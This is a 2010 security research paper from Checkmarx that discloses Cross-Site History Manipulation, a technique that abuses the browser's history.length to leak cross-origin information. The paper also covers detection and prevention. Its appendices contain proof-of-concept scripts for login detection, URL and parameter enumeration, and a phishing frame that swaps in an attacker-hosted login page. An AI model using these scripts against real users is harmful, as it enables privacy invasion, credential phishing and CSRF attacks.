Cross-Site History Manipulation: XSHM

January 26

2010

Alex Roichman,

Chief Architect & Head of Security Labs

CHECKMARX Research Labs

Contact us at:

Securitylabs@checkmarx.com

CHECKMARX SOURCE CODE ANALYSIS TECHNOLOGIES

Abstract

In this article we present a newly discovered SOP [8] (Same Origin Policy) security breach identified as Cross-Site History Manipulation (XSHM). SOP is the most important security concept of modern browsers. SOP means that web pages from different origins *by design* cannot communicate with each other. Cross-Site History Manipulation breach is based on our research findings that the client-side browser history object is not properly partitioned on a per-site basis. Manipulating browser history may lead to SOP compromising, allow bi-directional CSRF and other exploitations such as: user privacy violation, login status detection, resources mapping, sensitive information inferring, users' activity tracking and URL parameter stealing.

Introduction

Same Origin Policy

Hackers used to concentrate on Server-Side attacks on Web applications like Injections, Parameter Manipulations, Path traversal etc. In recent years we have seen a steady rise in Client-Side attacks: XSS, CSRF, JSON hijacking. These vulnerabilities exploit the trust shared between a user and a website, facilitated by Web Browsers, by circumventing the Same Origin Policy (SOP).

Without SOP there is no security in the Internet and any site could be easily XSSed by simply opening it within an IFRAME used by the attacker site. SOP separates content from different origins on the client side to prevent the loss of data confidentiality or integrity. A page from one origin can only send an HTTP request to a page from another origin. For example, a site http://www.attacker.com can open the following IFRAME: <**IFRAME src='http://www.bank.com' id='myFrame'>,** however a page from one origin cannot read an HTTP response of a page from another origin and

document.getElementById('myFrame').innerHtml cannot be accessed from the attacker.com origin.

By executing the Cross-Site Request Forgery, (CSRF) [9] an attacker can only submit a malicious HTTP Request:

<IFRAME src='http://www.bank.com/TransferMoney.aspx?toAccount =12345&sum=1000000 id='myFrame' >

However he cannot read the HTTP response, therefore the following CSRF request will not leak any information to an attacker:

<IFRAME src='http://www.bank.com/ShowAccount.aspx' id='myFrame'>

As shown above, CSRF is a blind attack – no response, no status, no feedback. This attack can only target data integrity: An attacker can modify the victim's data, but cannot compromise confidentiality because data retrieval is impossible.

In this article we will show how these limitations can be bypassed, and how SOP can be compromised by manipulation of the History object.

Browser History Object

Browser History is a global list of pages that have been visited using a browser tab. By pressing the back and forward buttons of a browser, a user jumps through her browser history. If a page contains IFRAME, any location changes inside IFRAME are also recorded in the browser's history. Consequently, opening the same URL multiple times will insert only one entry into the history list. If a user opens Page A and this page uses the HTTP Redirect directive to open Page B, only Page B will be stored in the browser's history.

The History object [10] is an array of history items containing details of the URL's visited using that window. There is **no compartmentalization** or separation of previously visited sites in the history object. SOP prevents only accessing URL's within a history object. However, SOP does not prevent accessing **history.length** which contains the global number of elements in the history list. It is also possible to access **history.go(URL)** which loads the specified URL that exists in the history list.

It is possible to open the URL without adding it to a history list. By using **location.replace,** we can open different URLs one after the other by replacing the current history position. For example, running the following JavaScript code:

location.replace(URL1)

location.replace(URL2)

location.replace(URL3)

adds only the last URL3 into the history list. The first two URLs will not be stored in the history, despite they were opened.

On Unix-based web servers it is also possible to inject URL to History without executing it on a web server. Web servers like Tomcat and Apache have different behavior compared to browser History when referring to the same URL containing different capitalization. For example, examine at the following URLs:

http://www.google.com/intl/en_ALL/images/logo.gi**f**

http://www.google.com/intl/en_ALL/images/logo.gi**F**

For a Unix-base web server these URLs are **different**, and the second URL cannot be executed since it does not exist on the server. For the browser's history they are the **same** URLs, so opening them one after the other will create only one history entry. Thus by changing a source of an IFRAME to logo.giF, we can inject logo.gif into the history without opening it on the server. Of course, instead of logo.gif it can be any page or resource on the server. This technique can be useful when executing history manipulations.

Cross-Site History Manipulation

In this article we present a new class of attacks based on cross-site history manipulation - XSHM. We will show that by manipulating the browser history it is possible to compromise SOP and violate user privacy. Using CSRF in conjunction with history manipulation, not only integrity but also confidentiality can be targeted. Feedbacks from a different origin can be accessed and Cross-Site information leakage is achieved.

We will describe the following attack vectors based on techniques of XSHM:

- Cross-Site Condition Leakage
  - Login Detection
  - Resource Mapping
  - Error Leakage
  - State Detection
  - Information Inference
- Cross-Site User Tracking
- Cross-Site URL/Parameters Enumeration

Currently the proof of concept of the described attacks was performed on IE ver. 6, 7 and 8. We have all the reasons to believe that other browsers are vulnerable as well.

Condition Leakage

If a site contains the following logic:

Page A: If (CONDITION)

Redirect(Page B)

an attacker can execute the CSRF and get an indication about the value of the *condition* as a feedback. This attack is executed from an attacker site. The site then submits a Cross-Site request to a victim site, and by manipulating the History object gets a feedback with required information leaked from a victim site. It is important to mention that the redirect command can appear explicitly in the code, or can be completed by the operational environment.

Algorithm:

1. Create IFRAME with src=Page B
2. Remember the current value of history.length
3. Change src of IFRAME to Page A
4. If the value of history.length is the same– then the CONDITION is TRUE

The above algorithm is based on the fact that if a browser has Page B on the top of its history list, and then opens Page A which redirects to Page B, a browser then will not add Page A to the history (since it uses redirect) and not add Page B to the history (since it already has this page higher in the list). Consequently, history.length will remain the same after opening Page A and this indicates that the *condition* is TRUE. If the *condition* is FALSE, then Page A will be opened and added to the browser history, which will be increased by one.

In a typical case, an attacker can open a URL to which a redirect can be performed. After that he probes history.length and opens another URL with a conditional redirect. He

then probes history.length and if it remains the same as before, then a condition is holding. Since an attacker can open both URLs from his page inside an IFRAME and history.length is accessible from an attacker page, this is a case of cross-site condition leakage and violation of SOP. In the following paragraphs we will present different attack vectors of Cross-Site condition leakage based on XSHM.

Login Detection Technique

An important step of a successful attack is the detection of user authentication state. If a user is authenticated on a site an attacker can successfully execute a CSRF attack against this site or use an in-session phishing attack [7]. Existing techniques are not typical, and they require a special arrangement. For example, an attacker can load an image and catch an onerror event [2]:

```
<IMG SRC="http://somesite.com//protected.jpg" onerror="notAuthenticated()">
```

If an image can be loaded only when a user is authenticated, then an attacker has a good indication about a user's login status. This approach is applicable when images or other resources can be loaded only when a user is authenticated. Another technique is to probe JavaScript Math.Random() method [1] - if a login page executes Math.Random() and a protected page does not, then it is possible to detect whether Math.Random() was called and if a user is authenticated. Of course, this requires that a login page uses Math.Random().

We will propose a new Login detection technique using Cross-Site History Manipulation that can serve as a general approach. This technique only requires that the victim site is opening any protected page that redirects to a login page (which is a general assumption).

Suppose a site has a protected region. Each page in this region redirects a user to a Login page in case that he is not authenticated. This can be done explicitly using the following code:

```
If (!isAuthenticated())
        Response.Redirect("Login.aspx")
```

or implicitly using the following configuration:

```
<authentication mode="Forms">
        <forms loginUrl="Login.aspx”/>
</authentication>
```

In such case, an attacker can easily detect whether a user is authenticated by using the following attack vector (see Appendix 1 for code examples):

- Create IFRAME with src=‘Login.aspx’
- Remember the current value of history.length
- Change src of IFRAME to ‘Protected.aspx’
- If the value of history.length remains the same– then a user is not authenticated

By opening Login.aspx and then opening Protected.aspx from IFRAME, history.length will remain the same only if Protected.aspx redirects to the login page. This indicates that a user is not authenticated.

We have created a live demonstration of this attack vector for IE users accessing a Facebook account: http://www.checkmarx.com/Demo/XSHM.aspx

Resource Mapping Technique

In many cases valuable resources are not accessed directly by an attacker. For example, sites such as http://Intranet are not accessible to the general public, but are extensively used by corporate networks. Mapping inaccessible paths to attacker's resources may lead to information leakage as well as present a lot of curiosity for the attackers. For example, if an attacker can understand when a company financial report will appear on a company intranet portal it can be a serious information leak. Existing techniques of timing, image size or onerror are not generic enough. They are also tightly coupled to browser behavior and generate many false positives. For example, onerror event of IFRAME does not work on many browsers so it is possible to load a document inside an IFRAME and not receive the onerror despite the fact that the document does not exist.

If a site implements a redirect command to "Page Not Found", then the resource mapping can be efficiently executed using Cross-Site History Manipulation. Let's suppose that a site use the following configuration:

<error statusCode="404" redirect="Not_Found.aspx" />

In such case an attacker can use the following attack vector:

- Create IFRAME with src='Not_Found.aspx'
- Remember the current value of history.length
- Change src of IFRAME to 'AnnualReport_2009.doc'
- If the value of history.length remains the same – then the resource does not exist

Error Leakage Technique

It is common that sites redirect a user to a default error page when an error has occurred. If a site implements such a redirect, an attacker can then launch "Cross-Site Penetration Testing" of an application from inside an IFRAME. It is possible to search vulnerabilities in a site from another domain as well as map security breaches in a site from within an IFRAME. For example, submitting the following URL: http://Intranet/Page.aspx?p=' and observing 500 redirects might indicate that the parameter p of Page.aspx is vulnerable to SQL Injection. Suppose that a site uses the following configuration:

<customErrors mode="On" defaultRedirect="Error.aspx">

Then it is possible to execute the following attack vector:

- Create IFRAME with src='Error.aspx'
- Remember the current value of history.length
- Change src of IFRAME to an URL which can cause an error to the victim site

- If the value of history.length remains the same – then the error has occurred

Cross-Site State Detection

An attacker can discern between two application states if one of them contains a redirect command. It is possible to track a redirect in order to map different application states. With this technique CSRF is no longer a one-way attack. The attacker can submit CSRF payload and get back the application state.

Suppose a Bank application allows transferring money from a user account to another account. This can be achieved using the following code:

If (Money_Transfer())

Redirect("Transaction_Succeeded.aspx")

This logic executes the money transfer transaction and if the action succeeds, then the redirect is leading to the Transaction Succeeded page. In this case an attacker can not only execute CSRF attack and transfer money, but he can also get feedback on whether this operation was successfully completed. This can be done by using following attack vector:

- Create IFRAME with src='Transaction_Succeeded.aspx'
- Remember the current value of history.length
- Change src of IFRAME to 'MoneyTransfer.aspx'
- If the value of history.length remains the same – then the operation was successfully completed

Cross-Site Information Inference

It is possible to inference sensitive information from a page on a different origin, if it implements a conditional redirect. Suppose that in an HR application which is not publically accessible, a legal user can search employees by name, salary and other criterions. If the search has no results, a redirect command is then executed to "Not Found" page. By submitting the following URL:

http://Intranet/SearchEmployee.aspx?name=Jon&SalaryFrom=3000&SalaryTo=3500

and observing the NotFound redirect, attackers can inference sensitive information about a worker's salary. This can be done by using the following attack vector:

- Create IFRAME with src='NotFound.aspx'
- Remember the current value of history.length
- Change src of IFRAME to 'SearchEmployee.aspx?name=Jon&SalaryFrom=3000&SalaryTo=3500'
- If the value of history.length remains the same– then your search has no results

By repeating the above attack and trying different values of the salary parameters, an attacker can gather very sensitive salary information of any employee. This is a very serious Cross-Site information leakage. If an application has a functionality like a search page with conditional redirect, then this application is vulnerable to XSHM and essentially it's a similar to a direct exposure to *Universal XSS* [12] – the application itself is XSS-safe, but running it from a different site inside an IFRAME makes it vulnerable.

User Activity Tracking

By design, it is possible to open any site from an IFRAME, but it is impossible to know what happens in this IFRAME or what a user does in it. An IFRAME element used in an included domain is different from the parent page. It must be isolated and secured *by design* and cannot communicate with its parent page. By using Cross-Site History Manipulation an attacker can bypass these limitations and in some cases track user activities inside an IFRAME. For example, an attacker can know what URLs are submitted from a tracked IFRAME and when they are submitted. This attack is possible when a victim site links are known in advance and an attacker can "trick" a victim into browsing the site from inside an attacker's IFRAME. Each time a user opens a link, the attacker can get Cross-Site notification of the clicked link.

To track the activities of a page inside an IFRAME, an attacker builds a list of URLs a page contains or can submit. When an unload event of an IFRAME is fired, the attacker can try to open each URL from this list: history.length will remain the same only on URL a user clicked. Since a user's URL must always remain on the top of the history list, an attacker can use location.replace to probe different URLs from his list without inserting them to the top of the history list.

It is commonly accepted that due to security considerations it is preferable to work with POST and not with GET. For an attacker who wants to use XSHM it is also preferable that a victim's site uses POST and not GET since the URL of POST has zero entropy. An attacker simply learns the application and for each page builds a list of URLs this page can access. Now the following attack vector can be launched to track user activities:

- Create IFRAME with src points to a victim site
- On each load event of an IFRAME do:
    - Remember the current value of history.length
    - Change src of IFRAME to the URL this page can access
- Performing the last two actions on all URLs the page can access until the value of history.length will cease to increase– then an attacker knows what link a user clicked and when it was clicked.

Ajax-based applications sometimes redirect a user to another page when a certain event has occurred on a server. For example, a web-mail application can redirect a user to NewEmail page when a new email has been received. In such cases the same user tracking technique can be launched and the attacker can get an indication about which page was opened, therefore when a victim receives a new email – the attacker will be informed.

Another example is a phishing attack when an attacker opens a legitimate site from an IFRAME and "tricks" a victim to browse this site. When a user presses a link to a login page, an attacker gets an indication about this and opens a fake login page instead (see Appendix 2).

URL/Query String Parameters Enumeration

URL Enumeration

For an attacker, enumerating previously browsed URLs is highly advantageous. Existing techniques for examining the visited links color [11] allow access to URLs visited

during **any previous** session. We propose enumerating URLs by using history.go technique which gets URLs visited during the **current** browser session. Many attacks like CSRF, JSON Hijacking, and ClickJacking etc. use the information that the user still has a valid session.

We should mention that the proposed technique has its limitations: this is not a brute-force attack and it is possible to efficiently probe a limited number of URLs. From the attacker's perspective however, it is enough to probe a short list of URLs like:

- http://login.yahoo.com
- http://mail.google.com
- http://mail.yahoo.com
- http://my.yahoo.com

This is the attack vector:

- Build a list of URLs you want to check: url[]
- Run history.go(url[x]) for each url from the above list
- If document.unload event has occurred on a certain url[x], this url was visited in the current session

With XSHM it is possible not only to know how many URLs were visited prior to opening a site, but also to get information about these URLs. Consequently, an attacker can say: "I know where you've been" ([5]) in the current browser window. (See Appendix 3)

Query String Parameters Enumeration

It is also possible to inference Cross-Site information based on redirection to URL with sensitive parameter values. Let's suppose that an online bookstore application has a page where the user submits his order. After submitting the order, the page redirects to a confirmation page with the query string containing the order number as a parameter.

Int Id = SubmitOrder()

Redirect("ShowOrder.aspx?Id=" + Id)

By opening the following URL from IFRAME:
http://Intranet/SubmitOrder.aspx?p1=a&p2=b and observing a redirect command to http://Intranet/ShowOrder.aspx?Id=123 it is possible to get back the id of the current order using the following attack vector:

- Created IFRAME with src='SubmitOrder.aspx?p1=a&p2=b'
- Run history.go(ShowOrder.aspx?Id=i) for different values of i until document.unload event will occur
- The last i on which document.unload event has occurred is the original Id parameter value

In certain cases this attack may succeed while finding weak anti-CSRF tokens, but cracking strong tokens is out of the scope for this type of attack. In a scenario like the order number, an attacker can anticipate all the possible order id ranges so he can not only execute CSRF, but also get as a feedback the order number. In other cases a parameter range is limited and include a known value list (like true or false), thus these values can be easily revealed to an attacker (See Appendix 4)

History Manipulation Detection

If your application uses conditional redirects, it might be vulnerable to XSHM. Of course, not all conditional redirects can threaten the application. For example, at the following code there is no risk potential:

```
if (url != "")
        Response.Redirect(url);
```

However, if your application contains redirects to URLs with low entropy and these redirects depend on sensitive values, then your application is vulnerable. For example, the following code is risky:

```
if (!isFound)
        Response.Redirect("Advanced_Search.aspx");
```

By exploiting this code pattern, an attacker can easily execute cross-site search, send CSRF payload and receive a valuable feedback.

The above code pattern can be detected by manual code review or by using static code analysis tools, which support detection of XSHM vulnerability sequences. We must emphasize that there are possible many code patterns that can lead to exposure to History manipulation. We invite the audience to contribute to the efforts by sending us additional vulnerable sequences and we will publish them in a follow-on article.

History Manipulation Prevention

There are two main approaches to prevent Cross-Site History Manipulation:

- To enforce SOP on the History object
- To prevent XSHM using application fix

XSHM Prevention by Browsers' providers

To successfully prevent Cross-Site History Manipulation browsers should implement compartmentalization and separation of History contents from different origins. History.length should return only a number of URLs from the current origin and history.go should open only URLs from the same origin.

For example, if a user opens the following URLs:

- http://Site1.com
- http://Site2.com
- http://Site3.com/Home.aspx
- http://Site3.com/Report.aspx

and Report.aspx accesses the history object, then history.length should return 2 and not 4 since only two pages were opened from Site3 origin. Obviously, history.go(http://Site1.com) will not work from Site3. Browser providers should consider the incompatible behavior of the history object once such fix will be presented.

XSHM Prevention by the Application

For successful prevention of Cross-Site History Manipulation both the URL of the origin page from which redirection is executed and a redirected target page should contain a random token. For example, redirecting to a Login page will be safe only in the following case:

If (!isAuthenticated)

Redirect('Login.aspx?r=' + Random())

To prevent URL/Parameters enumeration, any URL should contain a strong random token. It should be mentioned that adding a random token will also prevent a browser from using its cache and thus increase client side response times.

Strong Anti-XSRF tokens in a query string prevent XSHM. But there is a difference between Anti-XSRF tokens used to prevent XSRF and random tokens to prevent XSHM or Anti-XSHM tokens. Anti-XSHM tokens should only be placed inside the URL, and it is **not required to check** these tokens in subsequent requests. However to prevent URL Enumeration, all site's URLs should contain Anti-XSHM tokens. For example, if a site contains a home page, the following code should be added to this page:

if (Request["r"] == null)

Redirect('Home.aspx?r=' + Random())

Conclusion

Cross-Site History Manipulation (XSHM) is a new attack vector, by which the Same Origin Policy can be compromised and user's privacy can be violated. XSHM enhances CSRF by making it a two-way attack which can also yield Cross Site information leakage. Prevention of XSHM can be achieved by browsers and by using random tokens.

References

- [1] http://www.trusteer.com/files/Temporary_User_Tracking_in_Major_Browsers.pdf
- [2] http://ha.ckers.org/blog/20061108/detecting-states-of-authentication-with-protected-images/
- [3] http://www.fortify.com/landing/downloadLanding.jsp?path=%2Fpublic%2FJavaScript_Hijacking.pdf
- [4] http://crypto.stanford.edu/dns/dns-rebinding.pdf
- [5] http://jeremiahgrossman.blogspot.com/2006/08/i-know-where-youve-been.html
- [6] http://webscripts.softpedia.com/script/Miscellaneous/History-Length-14181.html
- [7] http://www.trusteer.com/files/In-session-phishing-advisory-2.pdf
- [8] http://code.google.com/p/browsersec/wiki/Part2#Same-origin_policy
- [9] http://en.wikipedia.org/wiki/Cross-site_request_forgery
- [10]http://www.exforsys.com/tutorials/javascript/javascript-history-object-properties-and-methods.html
- [11]https://www.blackhat.com/presentations/bh-usa-07/Grossman/Whitepaper/bh-usa-07-grossman-WP.pdf
- [12]http://www.owasp.org/images/4/4b/OWASP_IL_The_Universal_XSS_PDF_Vulnerability.pdf

Appendixes

Appendix 1

Login Detection Script for Internet Explorer

```
<html>
    <head>
        <title> Cross-Site Login Detection </title>
    </head>
    <body>
        <form id="form1">
        <div>
            <iframe src='Login.aspx' id='myframe'
                 onload='checkHistory()' ></iframe>
        </div>
        </form>
    </body>
</html>

<script language="javascript" type="text/javascript" >
    var prevHLength = -1;

    function checkHistory() {
        if (prevHLength == -1) {
            prevHLength = history.length;
            document.getElementById('myframe').src='Protected.aspx';
        }
        else {
            if (prevHLength == history.length) {
                alert("Not authenticated!");
            }
            else {
                alert("Authenticated");
            }
        }
    }
</script>
```

Appendix 2

User Tracking – open a faked login when a user presses a legitimate login

```
<html >
<head>
    <title>Cross-Site User Tracking</title>
</head>
<body   >
    <form id="form1">
    <div>
        <iframe src='http://Intanet/Home.aspx' id='phishingFrame'
          onload="checkURLs()"></iframe>
    </div>
    </form>
</body>
</html>

<script language="javascript" type="text/javascript">

    var prevHistory = -1;
    var firstLoad = true;
    var url = "http://Intranet/Login.aspx";
    var fakedURL = "http://attacker.net/Login.aspx";

    function checkURLs() {
        if (firstLoad) {
            firstLoad = false;
            return;
        }
        setTimeout("ChangeSource()", 100);
    }

    function ChangeSource() {
        prevHistory = history.length;
        firstLoad = true;
        document.getElementById("phishingFrame").src = url;
        setTimeout("checkHistory()", 50);
    }

    function checkHistory() {
        if (prevHistory == history.length) {
            document.getElementById("phishingFrame").src = fakedURL;
        }
        else {
            history.go(-1);
        }
        firstLoad = true;
    }

</script>
```

Appendix 3

URL Enumeration

```
<html >
    <head>
        <title>URL Enumeration</title>
    </head>
    <body onunload="unloadByHistoryGo()">
        <form id="form1">
            <div id="myDiv"></div>
        </form>
    </body>
</html>

<script language="javascript" type="text/javascript" >
    var URLs = ["http://www.google.com",
                "http://www.checkmarx.com/index.aspx",
                "http://www.cnn.com",
                "http://www.yahoo.com",
                "http://www.msn.com"]
    var thisURL =
"http://localhost:2470/WebSite1/URL_Enumeration.aspx?id=";
    var id = getUrlParam("id");

    if (id >= 0 && id < URLs.length) {
        document.getElementById("myDiv").innerHTML = URLs[id];
        setTimeout("history.go(URLs[id])", 500);
        setTimeout("unloadByTimeout()", 1000);
    }

    function getUrlParam(name) {
        var inx = window.location.href.toString().lastIndexOf('=');
        if (inx > 0) {
            return window.location.href.toString().substring(inx+1);
        }
        else {
            return -1;
        }
    }

    function unloadByHistoryGo() {
        if (id >= 0 && id < URLs.length) {
            alert(URLs[id]);
            if (id < URLs.length - 1) {
                id++;
                loca = null;
                document.location.replace(thisURL + id);
            }
        }
    }

    function unloadByTimeout() {
        if (id < URLs.length - 1) {
            unloadByHistoryGo = null;
            id++;
            document.location.replace(thisURL + id);
        }
    }
</script>
```

Appendix 4

Parameters Enumeration

```
<html >
    <head>
        <title>Parameters Enumeration</title>
    </head>
    <body onunload="isFound = true; unloadByHistoryGo()">

    </body>
</html>

<script language="javascript" type="text/javascript">
    var URL = "http://www.checkmarx.com/Company.aspx?id=1&cat=";
    var indx = -1;
    var isFound = false;
    var MAX_ID = 100;

    for (i = 0; i < MAX_ID; i++) {
        setTimeout("goToHistory('" + i + "')", i * 100);
    }

    function goToHistory(i) {
        if (!isFound) {
            indx = i;
            history.go(URL + i.toString());
        }
    }

    function unloadByHistoryGo() {
            alert(URL + indx);
    }

</script>
```